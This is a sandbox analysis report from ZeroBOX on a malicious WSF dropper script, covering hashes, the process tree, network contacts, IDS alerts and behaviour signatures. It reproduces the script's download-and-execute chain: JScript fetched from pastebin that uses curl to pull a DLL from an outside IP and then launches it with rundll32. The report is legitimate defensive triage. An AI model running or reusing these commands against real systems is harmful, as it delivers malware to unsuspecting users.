Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 19, 2023, 9:33 a.m.	April 19, 2023, 9:35 a.m.

Size	77.8KB
Type	UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
MD5	`dbf85f39dd98463b298f50302d64ea40`
SHA256	`13bde59e20034a2ce1797c7890cdd770fedef78f29f0e47c558c6eb9d91e8f10`
CRC32	`2758F827`
ssdeep	`1536:uA8ZOy2JyfnK/32SNnW7s8LnNVcKOAuWQwnn5QJp985ElDCCjIWp:uQNJWnK/mSN58LnNVcg75Q186lDCji`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Funds_792120.wsf
2556
- curl.exe "C:\util\curl\curl.exe" --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj98wz.dat
  2708
- rundll32.exe "C:\Windows\System32\rundll32.exe" c:\programdata\index.html,Motd
  2844

Name	Response	Post-Analysis Lookup
pastebin.com	A 172.67.34.170 A 104.20.67.143 A 104.20.68.143	104.20.67.143

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.34.170	Active	Moloch
216.120.201.169	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49161 -> 172.67.34.170:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49161 172.67.34.170:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	79:b7:9c:ec:8a:be:ea:82:0d:16:04:fb:46:5f:89:6b:78:b9:43:fd

Performs some HTTP requests (2 events)

request	GET https://pastebin.com/raw/zD5ag0UX
request	GET https://pastebin.com/raw/mJfkXNYx

Communicates with host for which no DNS query was performed (1 event)

host

216.120.201.169

Wscript.exe initiated network communications indicative of a script based payload download (8 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/zD5ag0UX flags: 0	1	1
HttpOpenRequestW April 19, 2023, 9:33 a.m.	connect_handle: 0x00cc0008 http_version: flags: 12582912 http_method: GET referer: path: /raw/zD5ag0UX	1	13369356
InternetCrackUrlA April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/zD5ag0UX flags: 0	1	1
InternetReadFile April 19, 2023, 9:33 a.m.	buffer: new ActiveXObject('wscript.shell').run('curl.exe --output c:\\programdata\\index.html --url ' + url, 6); request_handle: 0x00cc000c	1	1
InternetCrackUrlW April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/mJfkXNYx flags: 0	1	1
HttpOpenRequestW April 19, 2023, 9:33 a.m.	connect_handle: 0x00cc0008 http_version: flags: 12582912 http_method: GET referer: path: /raw/mJfkXNYx	1	13369356
InternetCrackUrlA April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/mJfkXNYx flags: 0	1	1
InternetReadFile April 19, 2023, 9:33 a.m.	buffer: new ActiveXObject('wscript.shell').run('rundll32 c:\\programdata\\index.html,Motd'); request_handle: 0x00cc000c	1	1

wscript.exe-based dropper (JScript, VBS) (2 events)

Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (15 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/zD5ag0UX flags: 0	1	1
HttpOpenRequestW April 19, 2023, 9:33 a.m.	connect_handle: 0x00cc0008 http_version: flags: 12582912 http_method: GET referer: path: /raw/zD5ag0UX	1	13369356
send April 19, 2023, 9:33 a.m.	buffer: ! socket: 860 sent: 1	1	1
send April 19, 2023, 9:33 a.m.	buffer: okd?6ÏÄÒo®ÛPõÆxs0o ^æA_e¤/5 ÀÀÀ À 28*ÿpastebin.com socket: 968 sent: 116	1	116
send April 19, 2023, 9:33 a.m.	buffer: ! socket: 860 sent: 1	1	1
send April 19, 2023, 9:33 a.m.	buffer: FBA¤ 3AA*®ïlEpR¦ØI1òÆ¬çòùðâQ>~_'ÍïXõç°§üOwÉ®Üûø¢§û£0{=WZT j 9ï %ÆÒÙÁ18³-aÍ÷GïaÔÏÊ+×Âíê$T(]¯ù socket: 968 sent: 134	1	134
send April 19, 2023, 9:33 a.m.	buffer: ! socket: 860 sent: 1	1	1
send April 19, 2023, 9:33 a.m.	buffer: P%x[É+Úºðº_kéÈÙ¿ÊÒ<Î/dâªhs21Xá#X^®¯xî[!¬¾Û°j-Y·¦§xG3 Àö\|_ äU_3³AöÞ*ÂßM¬÷E·ÑbrÞ¼OÚlÂéB®ýÓÃèõln4\|0ßþ\|I·Z×e-}9w¶à÷¶×6ó®wðÉ öàí5£ó×$I Ãý'"AfR/÷óptcæ5®!9Ã?aïVgS(ÿÁâgBªßkØROi{â_ÚB«ixÙZHíø÷+¿Ì¤ÑabJßå(üZÙ´´é÷´<S/ó@Út >&þReQêù'°º¯xï\|¥øUtZâ¬Ó¢^Ä¸ÕêÙN;:è+òNrDn« socket: 968 sent: 341	1	341
send April 19, 2023, 9:33 a.m.	buffer: ! socket: 860 sent: 1	1	1
InternetCrackUrlA April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/zD5ag0UX flags: 0	1	1
InternetCrackUrlW April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/mJfkXNYx flags: 0	1	1
HttpOpenRequestW April 19, 2023, 9:33 a.m.	connect_handle: 0x00cc0008 http_version: flags: 12582912 http_method: GET referer: path: /raw/mJfkXNYx	1	13369356
send April 19, 2023, 9:33 a.m.	buffer: Pp#<+è®2LZt?,-Ü&Â<7îý%òßlÁÏ÷WÈ"[3nYÅð.R×Fdª+Qù÷$øx^gX[õÔC´~G}5ç)niç É±)Wâè çSbJGÕBbNÐÁrãXgÉjvâàâfÕÇøÒ¼-è;Ë÷rþä.$¦ñïaà+Ú½?êfù(óG!·@é{%oÐ`Pz°ì]ó¸Å§Â5ñ¶~z@#wÓ*¿Å³è¯çeÇ`¶J]H¯<h@1.ZÒî67@c÷ù#c·¶µÛ¡vgk]é,M©´ÛòaË"ìW½ÅöL`ÞÉ¾ÜÒBØÎoÂ´,lOwhædÖÑi!V÷CêSiÎw2ïre¢JK¸úé²_ÍÐü× ÌÆ socket: 968 sent: 341	1	341
send April 19, 2023, 9:33 a.m.	buffer: ! socket: 860 sent: 1	1	1
InternetCrackUrlA April 19, 2023, 9:33 a.m.	url: https://pastebin.com/raw/mJfkXNYx flags: 0	1	1

One or more non-whitelisted processes were created (4 events)

parent_process	wscript.exe	martian_process	rundll32 c:\programdata\index.html,Motd
parent_process	wscript.exe	martian_process	curl.exe --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj98wz.dat
parent_process	wscript.exe	martian_process	"C:\util\curl\curl.exe" --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj98wz.dat
parent_process	wscript.exe	martian_process	"C:\Windows\System32\rundll32.exe" c:\programdata\index.html,Motd

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

216.120.201.169:80

A potential heapspray has been detected. 4352 megabytes was sprayed onto the heap of the wscript.exe process (15 events)

count

5483

name

heapspray

process

wscript.exe

total_mb

235

length

45056

protection

PAGE_READWRITE

count

46613

name

heapspray

process

wscript.exe

total_mb

546

length

12288

protection

PAGE_READWRITE

count

8222

name

heapspray

process

wscript.exe

total_mb

289

length

36864

protection

PAGE_READWRITE

count

2741

name

heapspray

process

wscript.exe

total_mb

160

length

61440

protection

PAGE_READWRITE

count

5483

name

heapspray

process

wscript.exe

total_mb

342

length

65536

protection

PAGE_READWRITE

count

13706

name

heapspray

process

wscript.exe

total_mb

374

length

28672

protection

PAGE_READWRITE

count

8248

name

heapspray

process

wscript.exe

total_mb

length

8192

protection

PAGE_READWRITE

count

5485

name

heapspray

process

wscript.exe

total_mb

278

length

53248

protection

PAGE_READWRITE

count

5484

name

heapspray

process

wscript.exe

total_mb

407

length

77824

protection

PAGE_READWRITE

count

2740

name

heapspray

process

wscript.exe

total_mb

267

length

102400

protection

PAGE_READWRITE

count

5485

name

heapspray

process

wscript.exe

total_mb

428

length

81920

protection

PAGE_READWRITE

count

8235

name

heapspray

process

wscript.exe

total_mb

160

length

20480

protection

PAGE_READWRITE

count

5488

name

heapspray

process

wscript.exe

total_mb

128

length

24576

protection

PAGE_READWRITE

count

8223

name

heapspray

process

wscript.exe

total_mb

546

length

69632

protection

PAGE_READWRITE

count

2741

name

heapspray

process

wscript.exe

total_mb

128

length

49152

protection

PAGE_READWRITE

The process wscript.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\util\curl\curl.exe
file	C:\Windows\System32\rundll32.exe

Funds_792120.wsf

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All